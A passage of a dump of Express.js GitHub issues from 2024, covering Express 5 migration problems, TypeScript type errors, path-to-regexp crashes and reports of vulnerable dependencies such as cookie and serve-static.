    res.setHeader('Cache-Control', 'no-cache');
    res.setHeader('Expires', '-1');
    res.setHeader('Pragma', 'no-cache');
    next();
  });
```

As per documentation:

> The wildcard * must have a name, matching the behavior of parameters :, use / *splat instead of / *

I changed it to:
```
  app.all('/api/*splat'
```
This does not work. Anything I am doing wrong?
",awaiting more info,2024-10-31T10:38:51Z,2025-02-18T16:46:38Z,9
expressjs/express,2616970072,"Error: Module '""express""' has no exported member","Hi...

I'm using `express 5.0.1` (tried with last 4.x too) and trying to use with module.

And change my `package.json` adding:
```json
""exports"": ""./dist/index.js"",
  ""type"": ""module"",
  ""engines"": {
    ""node"": "">=20""
  },
```
`package.json` dependencies and scripts:
```json
""scripts"": {
    ""start"": ""tsc-watch --onSuccess \""node dist/index.js\""""
  },
...
""dependencies"": {
    ...
    ""express"": ""^5.0.1"",
    ...
  },
""devDependencies"": {
    ""@eslint/js"": ""^9.13.0"",
    ""@tsconfig/node20"": ""^20.1.4"",
    ""@types/express"": ""^5.0.0"",
    ""@types/node"": ""^22.8.1"",
    ""eslint"": ""^9.13.0"",
    ""eslint-config-prettier"": ""^9.1.0"",
    ""eslint-plugin-prettier"": ""^5.2.1"",
    ""globals"": ""^15.11.0"",
    ""tsc-watch"": ""^6.2.0"",
    ""typescript"": ""^5.6.3"",
    ""typescript-eslint"": ""^8.11.0""
  },
```

And my `tsconfig`:
```json
{
  ""extends"": ""@tsconfig/node20/tsconfig.json"",
  ""compilerOptions"": {
    ""rootDir"": ""src"",
    ""outDir"": ""dist"",
    ""sourceMap"": true,
    ""noImplicitAny"": true,
    ""noImplicitReturns"": true,
    ""noEmitOnError"": true,
    ""strictNullChecks"": true,
    ""noUnusedLocals"": true,
    ""emitDecoratorMetadata"": true,
    ""experimentalDecorators"": true,
    ""resolveJsonModule"": true
  },
  ""compileOnSave"": true,
  ""include"": [""src/**/*"", ""src/locales/**/*.json""],
  ""exclude"": [""**/*.spec.ts""]
}
```

I tried change types version, express version, make a lot of search but don't find any way to fix.
When I ... [TRUNCATED]",require-triage,2024-10-27T23:58:10Z,2024-11-11T12:29:37Z,3
expressjs/express,2613860196,"Type error on ""files"" key when extending ""Request"" type with @types/express 5.0","Hey, i've got this interface here :
```ts
import formidable from ""formidable"";
import type { Request } from ""express"";

export interface IRequestWithFiles extends Request {
  files: Record<string, formidable.File>;
}
```
With the types ""@types/express"": ""^4.17.21"" everything is fine
But with ""@types/express"": ""^5.0.0"" typescript throws this error :
```
Conversion of type 'Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>' to type 'IRequestWithFormData' may be a mistake because neither type sufficiently overlaps with the other. If this was intentional, convert the expression to 'unknown' first.
  Types of property 'files' are incompatible.
    Type 'Files | undefined' is not comparable to type 'Record<string, File>'.
      Type 'Files' is not comparable to type 'Record<string, File>'.
        'string' index signatures are incompatible.
          Type 'File[] | undefined' is not comparable to type 'File'.
            Type 'File[]' is missing the following properties from type 'File': size, filepath, originalFilename, newFilename, and 3 more.
```
As a workaround i just renamed the ""files"" key of my interface.
But i cannot find in the type definition file anything related to the ""files"" key so i'm wondering why and how this key is typed.
Is there anything coming in future releases that involve that key ?",question,2024-10-25T11:38:48Z,2024-10-25T11:52:36Z,1
expressjs/express,2610492607,Bug Occur in the express router class while being routing,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->
",bug,2024-10-24T05:17:24Z,2024-10-24T21:22:32Z,1
expressjs/express,2594039990,CVE-2024-43800-serve-static,"There is vulnerability in the latests scan for serve-static module.
└─┬ express@4.21.1 
  └── serve-static@1.16.2
",help wanted,2024-10-17T08:41:32Z,2024-10-17T15:47:15Z,2
expressjs/express,2589315644,Add committers to expressjs.com repo,"Based on the [Contributor Guide](https://github.com/expressjs/express/blob/master/Contributing.md#becoming-a-committer), several contributors should be given commit rights to the website repo:
- @bjohansebas - He's been very active, and I'm going to nominate him separately as a repo captain
- @carlosstenzel 
- @chrisdel101 

  ",,2024-10-15T16:42:23Z,2025-01-14T19:39:22Z,16
expressjs/express,2585228190,CVE-2024-47764 from cookie-0.6.0,"I'm using express-4.21.0.

I've had a Mend report of a medium risk from cookie-0.6.0 for a week now (CVE-2024-47764). A week ago this was also reported via npm audit (as a low level risk). Now it's not even that as npm reports 0 vulnerabilities.

Has this issue been downgraded? It's still reported in Mend. Are there any plans on updating express 4 to use cookie-0.7.0 to fix the issue?
",question,2024-10-14T08:29:57Z,2024-10-14T15:27:05Z,2
expressjs/express,2579284634,throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`); at node_modules/path-to-regexp/dist/index.js:73,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:73
            throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`);
            ^
TypeError: Missing parameter name at 6: https://git.new/pathToRegexpError
    at name (/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:73:19)
    at lexer (/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:91:27)
    at lexer.next (<anonymous>)
    at Iter.peek (/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:106:38)
    at Iter.tryConsume (/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:112:28)
    at Iter.text (/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:128:30)
    at consume (/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:152:29)
    at parse (/rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:183:20)
    at /rbd/pnpm-volume/11269fa9-8ee1-4ee3-b2e8-df916e2b43b7/node_modules/path-to-regexp/dist/index.js:294:74
    at Array.map (<a... [TRUNCATED]",bug,2024-10-10T16:09:13Z,2024-10-10T17:15:42Z,21
expressjs/express,2573370454,Bug with the router class,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

This is my code 
``// import the route
import { playground } from ""@colyseus/playground""
// ...
const monitor = require(""@colyseus/monitor"").monitor
const express = require(""express"")
const app = express
const route = app.Router

// ...
route.use(""/monitor"", monitor)

// bind it as an express middleware
route.use(""/playground"", playground)

app.listen(3000)

which throws this error 

$ bun run index.js
478 |       end: false
479 |     }, fn);
480 | 
481 |     layer.route = undefined;
482 | 
483 |     this.stack.push(layer);
               ^
TypeError: undefined is not an object (evaluating 'this.stack.push')
      at use (/workspace/colyseus-testing-ground/node_modules/express/lib/router/index.js:483:10)
      at /workspace/colyseus-testing-ground/index.js:10:7

Bun v1.1.30 (Linux x64)
error: script ""test"" exited with code 1
 and the code that throws this error in the /lib/router/index.js line 483 or this.layer.push()",,2024-10-08T14:23:02Z,2024-11-12T12:01:49Z,6
expressjs/express,2571928694,Error message TS2339: Property 'use' does not exist on type 'Router'.," ""@types/express"": ""^5.0.0"",
 ""express"": ""^4.21.0"",

```
import { Router } from ""express"";
import cors from ""cors"";

export const handleCors = (router: Router) =>
router.use(cors({ credentials: true, origin: true }));
```

TS2339: Property 'use' does not exist on type 'Router'
Please help me see what the reason is",question,2024-10-08T03:01:43Z,2024-11-12T11:54:14Z,4
expressjs/express,2569238724,npm audit fail on last Express version (4.21.0) due to cookie(0.6.0) vulnerability ,"Bug Report: npm audit fail on last Express version (4.21.0) due to cookie(0.6.0) vulnerability

Issue Description:

Running npm audit on the latest version of Express (4.21.0) fails due to a low severity vulnerability in cookie(<0.7.0).

Here’s the relevant output from npm audit:

npm audit report
cookie  <0.7.0

Severity: low
cookie accepts cookie name, path, and domain with out of bounds characters - https://github.com/advisories/GHSA-pxg6-pf52-xh8x
No fix available

Steps to reproduce

npm install express --save",bug,2024-10-07T04:03:28Z,2024-10-07T09:02:41Z,1
expressjs/express,2568240532,Raw Body Not Passed Correctly to Svix Webhook Verification,"
Hi Express team,

I'm encountering an issue while trying to verify a webhook payload using Svix in my Express.js app. Despite following the recommended approach from both the Svix documentation and Express documentation, I continue to receive an error stating:

```
Error verifying the webhook: Expected payload to be of type string or Buffer.

```
**Context**:
Node.js version: v20.17.0
Express version: 4.21.0
body-parser: I'm using bodyParser.raw({ type: ""application/json"" }) to pass the raw payload as recommended by Svix.
Svix version: 1.35.0

Code Snippet:

```
import express from ""express"";
import { Webhook } from ""svix"";
import bodyParser from ""body-parser"";

const router = express.Router();

router.post(
  ""/webhook"",
  bodyParser.raw({ type: ""application/json"" }), // Using raw body-parser
  async (req, res, next) => {
    const WEBHOOK_SECRET = process.env.WEBHOOK_SECRET;

    if (!WEBHOOK_SECRET) {
      return next(new Error(""WEBHOOK_SECRET is missing in the environment.""));
    }

    const payload = req.body;
    const headers = req.headers;

    const wh = new Webhook(WEBHOOK_SECRET);

    try {
      const evt = wh.verify(payload, headers);
      // Further webhook processing...
      return res.status(200).json({ success: true });
    } catch (err) {
      console.error(""Webhook verification failed:"", err.message);
      return res.status(400).json({
        success: false,
        message: ""Webhook verification fail... [TRUNCATED]","help wanted,question",2024-10-05T17:56:43Z,2024-10-09T21:47:11Z,4
expressjs/express,2568033062,"Getting error while using "" return res.json({ }) ""","using ""express"": ""^4.21.0"",
created this middleware for token verification

```
import { NextFunction, Request, Response } from ""express"";
import { JwtPayload, verify } from ""jsonwebtoken"";

declare global {
  namespace Express {
    interface Request {
      user: JwtPayload;
    }
  }
}

export const tokenVerifier = (
  req: Request,
  res: Response,
  next: NextFunction
) => {
  try {
    const authHeader = req.headers.authorization;

    if (!authHeader)
      return res.json({
        err: ""authorization token was not provided"",
        isSuccess: false,
      });

    const token = authHeader!.split("" "")[1];

    req.user = verify(
      token,
      process.env.FLEXIBASE_AUTH_SECRET_KEY!
    ) as JwtPayload;

    next();
  } catch (err) {
    return res.json({ isSucess: false, err });
  }
};
```

```
D:\Projects\flexibase-auth\node_modules\ts-node\src\index.ts:859
    return new TSError(diagnosticText, diagnosticCodes, diagnostics);
           ^
TSError: ⨯ Unable to compile TypeScript:
src/routers/auth.router.ts:13:38 - error TS2769: No overload matches this call.
  The last overload gave the following error.
    Argument of type '(req: Request, res: Response, next: NextFunction) => Response<any, Record<string, any>> | undefined' is not assignable to parameter of type 'RequestHandlerParams<ParamsDictionary, any, any, ParsedQs, Record<string, any>>'.
      Type '(req: Request, res: Response, next: NextFunction) => Respo... [TRUNCATED]","bug,help wanted",2024-10-05T13:14:12Z,2024-11-12T14:21:26Z,8
expressjs/express,2567501099,Dependency on cookie 0.6.0 fails npm audit,"GitHub Advisory Database says cookie 0.6.0 has issues, resulting in npm audit failure

https://github.com/advisories/GHSA-pxg6-pf52-xh8x

```shell
npm ls cookie
─┬ express@4.21.0
 └── cookie@0.6.0
```

Remedy: Upgrade to cookie 0.7.0",bug,2024-10-04T22:43:25Z,2024-10-08T19:44:09Z,5
expressjs/express,2567497330,Dependency on cookie 0.6.0 fails npm audit,"GitHub Advisory Database now says cookie 0.6.0 has issues, resulting in npm audit failure

https://github.com/advisories/GHSA-pxg6-pf52-xh8x

```shell
npm ls cookie
─┬ express@4.21.0
 └── cookie@0.6.0
```

Remedy: Upgrade to cookie 0.7.0",bug,2024-10-04T22:38:11Z,2024-10-04T22:44:14Z,1
expressjs/express,2558420380,Empty body in express 5 with express.json,"Hi,

The request body is undefined in express 5 but not in express 4.

```typescript
let app = express();
app.use(express.json());
.post('/', (request: Request, response: Response, next: NextFunction) => {
        console.log(request.body)
        next();
    }
});
app.listen(5000);
```

As explain in the [express 5 api doc](https://expressjs.com/en/5x/api.html#req.body), we need a middleware.
I use the `express.json()` middleware, but it looks like it does not work anymore in express 5.
Is it wanted or no ? If yes, describe this in doc please.",bug,2024-10-01T07:33:42Z,2024-10-07T19:44:20Z,4
expressjs/express,2558145337,`npm run test`: TypeError: Cannot read properties of undefined (reading 'encrypted'),"```
C:\Users\pc\OneDrive\Documenti\SVILUPPO\javascript\express>npm run test

> express@5.0.0 test
> mocha --require test/support/env --reporter spec --bail --check-leaks test/ test/acceptance/


TypeError: Cannot read properties of undefined (reading 'encrypted')
    at IncomingMessage.protocol (C:\Users\pc\OneDrive\Documenti\SVILUPPO\javascript\express\lib\request.js:286:31)
    at Object.<anonymous> (C:\Users\pc\OneDrive\Documenti\SVILUPPO\javascript\express\lib\request.js:314:18)
    at Module._compile (node:internal/modules/cjs/loader:1358:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1416:10)
    at Module.load (node:internal/modules/cjs/loader:1208:32)
    at Module._load (node:internal/modules/cjs/loader:1024:12)
    at Module.require (node:internal/modules/cjs/loader:1233:19)
    at require (node:internal/modules/helpers:179:18)
    at Object.<anonymous> (C:\Users\pc\OneDrive\Documenti\SVILUPPO\javascript\express\lib\express.js:20:11)
    at Module._compile (node:internal/modules/cjs/loader:1358:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1416:10)
    at Module.load (node:internal/modules/cjs/loader:1208:32)
    at Module._load (node:internal/modules/cjs/loader:1024:12)
    at Module.require (node:internal/modules/cjs/loader:1233:19)
    at require (node:internal/modules/helpers:179:18)
    at Object.<anonymous> (C:\Users\pc\OneDrive\Documenti\SVILUPPO\javascript\express\index.js:11:18)
    at Modul... [TRUNCATED]",bug,2024-10-01T04:24:34Z,2024-10-01T04:27:37Z,0
expressjs/express,2556589575,"fix: Not fully compatible with path-to-regexp@0.1.10, causing program errors","## env
- express@4.21.0
- node@18.19.0
- path-to-regexp@0.1.10 and path-to-regexp@0.1.11

see:
- https://github.com/pillarjs/path-to-regexp/issues/333
- https://github.com/expressjs/express/pull/5902#issuecomment-2382229046

## Code Analysis:

see:

- https://github.com/wll8/mockm/blob/5ecf970776674a2fc49b46f45b5ae49097f82df5/server/util/business.js#L68
- https://github.com/expressjs/express/blob/7e562c6d8daddff4604f8efaaf9db2cf98c6dcff/lib/application.js#L489

step:

- `methods` includes `bind`.
- Therefore, `app` has a `bind` function.
- The `bind` function can accept `this`, which is an object (`path`).
- However, in the `bind` function, `this._router.route(path)` receives this object.
- This object is passed to `path-to-regexp`.
- In `path-to-regexp` v0.1.7, the object is converted to a string without causing an error.
- In `path-to-regexp` v0.1.10, encountering an object can cause the program to crash.
- This is the reason for the program crash after the update.

The version that found the problem was 0.1.10, but this error was thrown in 0.1.11.

``` js
  if (typeof path !== 'string') {
    throw new TypeError('path must be a string, array of strings, or regular expression');
  }
```

imgA:

![image](https://github.com/user-attachments/assets/44a60fc6-a933-4b5e-b0eb-38e1ba9be134)

imgB:

![image](https://github.com/user-attachments/assets/92249ffd-7b50-4ec9-8f6a-9bfca576c21f)


In imgA, httpolyglot passed an object, which was c... [TRUNCATED]","bug,4.x,help wanted",2024-09-30T12:54:38Z,2024-10-01T06:52:26Z,2
expressjs/express,2549665259,Version 4.21.0 and older now pulls in types for 5.0.0 that are incompatible.,"Version 4.21.0 and older now pulls in types for 5.0.0 that are incompatible.


```

     ""node_modules/@types/express"": {
       ""version"": ""5.0.0"",
       ""resolved"": ""https://registry.npmjs.org/@types/express/-/express-5.0.0.tgz"",
       ""integrity"": ""sha512-DvZriSMehGHL1ZNLzi6MidnsDhUZM/x2pRdDIKdwbUNqqwHxMlRdkxtn6/EPKyqKpHqTl/4nRZsRNLpZxZRpPQ=="",
      ""license"": ""MIT"",
       ""dependencies"": {
         ""@types/body-parser"": ""*"",
         ""@types/express-serve-static-core"": ""^5.0.0"",
         ""@types/qs"": ""*"",
         ""@types/serve-static"": ""*""
       }
     },
```


```
app/server.ts:31:11 - error TS2769: No overload matches this call.
  The last overload gave the following error.
    Argument of type '(err: any, req: Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>, res: Response<any, Record<string, any>>, next: NextFunction) => void | Response<...>' is not assignable to parameter of type 'PathParams'.

31   app.use(ErrorHandler);
             ~~~~~~~~~~~~

  node_modules/@types/express-serve-static-core/index.d.ts:153:5
    153     <
            ~
    154         P = ParamsDictionary,
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ...
    162         ...handlers: Array<RequestHandlerParams<P, ResBody, ReqBody, ReqQuery, LocalsObj>>
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    163     ): T;
        ~~~~~~~~~
    The last overload is declared here.
```
 

Addi... [TRUNCATED]",bug,2024-09-26T06:44:59Z,2024-10-22T11:45:45Z,22
expressjs/express,2539979414,Error handling middleware not being called. ,"
![Screenshot 2024-09-21 104151](https://github.com/user-attachments/assets/96a8ac0d-321c-43bc-822a-209e782daa6a)

here's my app.ts (index.ts contain app.listen part after successful connection with mongo.db);
here's test controller.
![Screenshot 2024-09-21 104216](https://github.com/user-attachments/assets/37b5ba40-b008-4b7a-bde7-dcfd2ab70918)

when hit API with postman, none of the error is showing. ",question,2024-09-21T05:12:54Z,2024-10-27T10:31:37Z,4
expressjs/express,2538663006,4.20.0 introduce a regression in regexp path parsing (router),"hello,

I think we ahave spotted a new bug introduced in 4.20.0 during a project express update qualifying new versions.
Versions before 4.20.0 are not affected whatsoever as we have observed.

Versions starting at 4.20.0 fixes a CVE/bug in regexp parser and introduce odd behavior while parsing routes. 

Stated a json route files like so : 
```
[
 { 
""path"": ""/whatsoever/"", 
""impl"" : ""classA""
}
]
```

The project initializeRoutes middleware cannot set up this route in 4.20.0 and upper while it does work well in lower versions (including 4.19.2)


app being the express instance, the route initializer middleware is like so :

```
InitializeRoutes.getRoutes(link).map((rc) => {
                    app.use('/', rc.router);
})
```

getRoutes returns class instance array that complies to express controller logic :

```
export abstract BaseController {
    router = Router();
    path!: string;
}
```


That king of middleware stuff is working fine up to and including 4.19.2. 
4.20.0 breaks this stuff

How should we fix this to make it work in more recent versions ? 

","bug,awaiting more info",2024-09-20T12:16:39Z,2024-09-23T09:09:29Z,5
expressjs/express,2535888266,🏁 RoSctober 2024: The Open Source Developer Challenge is about to start! 🎉,"As part of the RoSctober Race presented by [Race of Sloths](https://race-of-sloths.com/), we recognized this repo to be highly valuable in the open-source movement, and we want to encourage developers to contribute to it.

The RoSctober Race contributions will be rewarded proportionally to their contributions to the selected open-source projects. Read below for the official rules, and let’s see who will climb to the top of the Sloth Hall of Fame! 🦥

## TLDR for maintainers:

- This issue is an invitation to join [Race of Sloths](https://race-of-sloths.com/) project
- To accept the invitation, comment `@race-of-sloths accept`
- Once the invitation is accepted, your contributors are eligible to participate in the RoSctober Race with a $10,000 prize pool

## What is the RoSctober Race and Race of Sloths?
RoSctober Race was inspired by Hacktoberfest and is the first thematic Race of [Race of Sloths](https://race-of-sloths.com/) project. Our goal is to make the open-source contributions more fun and rewarding, allowing developers to contribute, get recognized, participate in weekly and monthly quests, and boost their profiles by earning points and competing in the leaderboards - all in a non-intrusive way with just a couple of commands directly in GitHub interface. 

1. Every contributor is welcome
2. Prize Pool: $10,000 USDT 💰
3. Eligibility: Earn at least 100 SP during RoSctober to qualify for the prize.
4. Competition Timeline: October 1st to October 31st, 2024
5. Submission Pr... [TRUNCATED]",,2024-09-19T10:08:54Z,2024-09-25T19:53:36Z,1
expressjs/express,2530799433,"express using older version of path-to-regex, which is causing us the operational vulnerability in our project. ","<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

express version 4.18.2 using path-to-regex version: [0.1.11]
latest path-to-regexp version is: [8.1.0]
please upgrade the library to latest version.",bug,2024-09-17T10:43:45Z,2024-09-17T13:41:20Z,9
expressjs/express,2528380954,Dependency: Bump path-to-regexp in v4 to fix security vulnerability. ,"Bump dep path-to-regexp to fix https://github.com/advisories/GHSA-9wv6-86v2-598j

https://github.com/expressjs/express/blob/4.x/package.json#L50",,2024-09-16T12:48:44Z,2024-09-16T13:27:25Z,7
expressjs/express,2527348366,"i dont know why my token keep returning undefined, please help.","<!-- We can't debug your app for you, but you can ask questions and we will try to answer them.

You can also ask a question in the Node.js Slack community's #express-js channel:

* Slack invite form: http://www.nodeslackers.com/invite
* #express-js channel: https://node-js.slack.com/archives/C0L827VV4

It is super important that you paste in samples of your code (no screenshots of code, [use markdown](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks))!
Without seeing what your code looks like, we won't be able to help you very much.
More is better when it comes to sharing code samples if you're having a problem. -->

So im trying to secure an endpoint that allows user create blog, so anyone wont just go over to the '/blogPublish' and have access to it but i keep getting faced with an error when i try to access it... ILL BE GLAD IF ANYONE CAN HELP

_**server.js**_
```
require(""dotenv"").config();
const express = require(""express"");
const mongoose = require(""mongoose"");
const path = require('path');
const bodyParser = require('body-parser');
const protectedRoute = require(""./routes/protect.route.js"");
const app = express();

// middleware
app.use(express.json());
app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, 'public')));
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', '*');
  res.header('Access-Control-Allow-Headers', 'O... [TRUNCATED]","help wanted,question",2024-09-16T01:43:55Z,2024-09-16T09:59:37Z,1
expressjs/express,2524147026,`req.body` with JSON middleware is `undefined` on empty POST in Express 5,"Hello,

I'm currently going through the Express 5 update for a few projects. An issue I'm encountering is `req.body` is coming in as `undefined` using the JSON middleware, when it is expected to be an empty object as mentioned in the [docs](https://expressjs.com/en/5x/api.html). I'm unsure if this is a bug or the docs have simply not been updated (since it still says ""beta""), and couldn't find any related issues around this.

Reproduction sample:
```js
const express = require('express');

const app = express();

app.use(express.json());

app.post('/', (req, res) => {
  console.log('body', req.body); // undefined on express@5, {} on express@4.20.0
  res.sendStatus(200);
});

app.listen(9999);
```

Invoked with `curl -X POST -H ""Content-Type: application/json"" http://localhost:9999/`.

A confirmation of whether this is a bug or expected behaviour would be appreciated so I know what changes I should expect to make while upgrading.",bug,2024-09-13T07:59:10Z,2024-09-13T08:06:28Z,1
expressjs/express,2523531312,Express V5 or 4.21.0???,"What is the correct version?

YouTubers and others say Express V5 is out, but GitHub, and the official webpage have not confirmed.

On GitHub, it says: 4.21.0 release today

On commit says 5.0.0 3 day ago

On the website, it says: 4.19.2 and Express V5 beta

So, What is  correct?
![Screenshot 2024-09-12 at 17-32-30 Release 4 21 0 · expressjs_express](https://github.com/user-attachments/assets/7c1c2d11-681f-46ce-8252-9607f543cdbe)
![Screenshot 2024-09-12 at 17-31-26 Express - Node js web application framework](https://github.com/user-attachments/assets/fbf2d7c3-3db1-457d-94c3-57c2762b7fd6)
![Screenshot 2024-09-12 at 17-30-55 expressjs_express Fast unopinionated minimalist web framework for node](https://github.com/user-attachments/assets/d2193e94-8270-4541-9718-837e8565862e)
",question,2024-09-12T23:38:47Z,2024-09-12T23:52:30Z,1
expressjs/express,2522128125,Crash after starting using version 4.21.0,"I just updated express to fix the latest reported CVEs, but the last version (4.21.0) is now causing crashes when loading express.

Crash happens when I call this:
`const express = require(""express"")`

Error is:
```
...\node_modules\path-to-regexp\index.js:68
  path = path.replace(
              ^

TypeError: path.replace is not a function
    at pathToRegexp (...\node_modules\path-to-regexp\index.js:68:15)
    at new Layer (...\node_modules\express\lib\router\layer.js:45:17)
    at Function.route (...\node_modules\express\lib\router\index.js:505:15)
    at app.<computed> [as put] (...\node_modules\express\lib\application.js:498:30)
    at Object.<anonymous> (...\js\index.js:69:9)
    at Module._compile (node:internal/modules/cjs/loader:1254:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1308:10)
    at Module.load (node:internal/modules/cjs/loader:1117:32)
    at Module._load (node:internal/modules/cjs/loader:958:12)
    at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:81:12)
``` 

I realize this is not the express library, but express is the only user of `path-to-regexp` in my application, so it can't be any other culprit.

The exact same code on my side runs fine using for example express 4.19.2.
",,2024-09-12T11:27:42Z,2024-10-10T00:05:40Z,45
expressjs/express,2520575665,Static Routes not passing in 5.0.0,"My testing infrastructure is failing to pass on static route checks.

```
        router.get('/', (req, res) => {
            this.rapidApi(res);
        });

[snip]

    rapidApi(res){
        res.writeHead(302, {
            'Location': 'https://example.com,
        });
        res.end();
    }

```

error:

```
FAIL src/homepage.test.js (6.23 s)
  ● GET / › should respond with 302
    TypeError: argument callback is required
      at Function.handle (node_modules/router/index.js:150:11)
      at Server.router (node_modules/router/index.js:59:12)
  ● GET / › should respond with 302
    thrown: ""Exceeded timeout of 5000 ms for a test.
    Add a timeout value to this test to increase the timeout, if this is a long-running test. See https://jestjs.io/docs/api#testname-fn-timeout.""
      4 |
      5 | describe('GET /', () => {
    > 6 |     test(""should respond with 302"", async () => {
        |     ^
      7 |         const response = await request(app).get('/')
      8 |         expect(response.statusCode).toBe(302);
      9 |     });
      at test (src/homepage.test.js:6:5)
      at Object.describe (src/homepage.test.js:5:1)
A worker process has failed to exit gracefully and has been force exited. This is likely caused by tests leaking due to improper teardown. Try running with --detectOpenHandles to find leaks. Active timers can also cause this, ensure that .unref() was called on them.

```

Was something changed in 5.0.0 that requi... [TRUNCATED]",bug,2024-09-11T19:17:34Z,2024-09-11T22:01:17Z,4
expressjs/express,2520476511,Vulnerability in serve-static that just got a fix,"Hi,

I have vulnerabilities scan as part of my CI/CD process.
I'm getting this vulnerability report on your latest package (4.20.0):
![image](https://github.com/user-attachments/assets/f68adce3-0d5e-4925-9452-f194f45b14ee)

I went to the serve-static github and just saw that they published a fix for this exact vulnerability 1 hour ago.
Will it be possible for you to publish a new patch version that will include this fix?

Thanks,
Ori Panush. ",,2024-09-11T18:39:52Z,2024-09-11T18:42:37Z,3
expressjs/express,2518755001,Express 5.0.0 Route with regex not working,"We have created simple express application with following code 

```

const express = require('express')
const app = express()
const port = 4000

function logErrors(err, req, res, next) {
    console.error(err.stack)
    next(err)
}

function clientErrorHandler(err, req, res, next) {
    if (req.xhr) {
        res.status(500).send({ error: 'Something failed!' })
    } else {
        next(err)
    }
}
function errorHandler (err, req, res, next) {
   
    res.status(err.statusCode || 500)
    res.json({ message: err.message || ""something wrong"" })
}

app.get('/', async (req, res) => {
    await Promise.reject({""message"":""dsfjh"", statusCode: 400})
    res.status(200).send(""asfas"")
})

app.get('/[discussion|page]/:slug', async (req, res) => {
    throw {statusCode: 400, message: ""harish""}
    res.status(200).send(""asfas"")
})


app.use(logErrors)
app.use(clientErrorHandler)
app.use(errorHandler)

app.listen(port, () => {
    console.log(`Example app listening on port ${port}`)
})

```

It is throwing following error 

```

~/express5/node_modules/path-to-regexp/dist/index.js:136
        throw new TypeError(`Unexpected ${nextType} at ${index}, expected ${type}: ${DEBUG_URL}`);
        ^

TypeError: Unexpected [ at 1, expected END: https://git.new/pathToRegexpError
    at Iter.consume (~/express5/node_modules/path-to-regexp/dist/index.js:136:15)
    at consume (~/express5/node_modules/path-to-regexp/dist/index.js:193:16)
    ... [TRUNCATED]",5.x,2024-09-11T07:08:51Z,2024-09-16T10:10:23Z,13
expressjs/express,2518505725,npm audit fail on last Express version (4.20.0) due to send(0.19.0) vulnerability,"Bug Report: npm audit fails on latest Express version (4.20.0) due to send(0.19.0) vulnerability

Issue Description

Running npm audit on the latest version of Express (4.20.0) fails due to a moderate severity vulnerability in send (<0.19.0).


Here’s the relevant output from npm audit:

# npm audit report send <0.19.0
Severity: moderate
send vulnerability to template injection can lead to XSS - http://github.com/advisories/GHSA-m6fv-jmcg-4jfg
No fix available

Steps to reproduce

npm install express --save


",bug,2024-09-11T05:18:15Z,2024-09-11T17:44:26Z,4
expressjs/express,2517049110,Does the v5.0.0 tag mean a release is coming?,"Edge of my seat here...

Edit: My question is specifically, what does this mean?

https://github.com/expressjs/express/releases/tag/v5.0.0
",question,2024-09-10T17:15:51Z,2024-09-10T18:16:46Z,1
expressjs/express,2516986491,Express v4 -> v5 Migration,"<!-- We can't debug your app for you, but you can ask questions and we will try to answer them.

You can also ask a question in the Node.js Slack community's #express-js channel:

* Slack invite form: http://www.nodeslackers.com/invite
* #express-js channel: https://node-js.slack.com/archives/C0L827VV4

It is super important that you paste in samples of your code (no screenshots of code, [use markdown](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks))!
Without seeing what your code looks like, we won't be able to help you very much.
More is better when it comes to sharing code samples if you're having a problem. -->

Copied from [my comment](https://github.com/expressjs/express/pull/2237#issuecomment-2340006831) in the [Release 5.0 PR](https://github.com/expressjs/express/pull/2237):

Maybe I missed a v5 planning document somewhere - I'm looking for a few details to help determine how and when to migrate our projects:

1. When is it planned that `express@5.0.0` be published to the npm `latest` tag?
2. Is there a plan to publish an Express v4 -> v5 Migration Guide? (or a visible list of breaking changes with short suggestions about what to do about them) The closest thing that I can see is [this small `breaking` note in `History.md`](https://github.com/expressjs/express/blob/5.x/History.md#500--2024-09-10:~:text=path.isAbsolute%20instead-,breaking%3A,-res.status())
3. What's the cu... [TRUNCATED]","5.x,question",2024-09-10T16:53:54Z,2025-04-01T15:52:55Z,28
expressjs/express,2516825327,Mismatched dependency versions,"I propose:
- https://github.com/expressjs/express/pull/5949
- https://github.com/expressjs/serve-static/pull/178

Please see:

https://github.com/expressjs/express/commit/ec4a01b6b8814d7b007f36a3023f4dbafdbc3d09#commitcomment-146499333
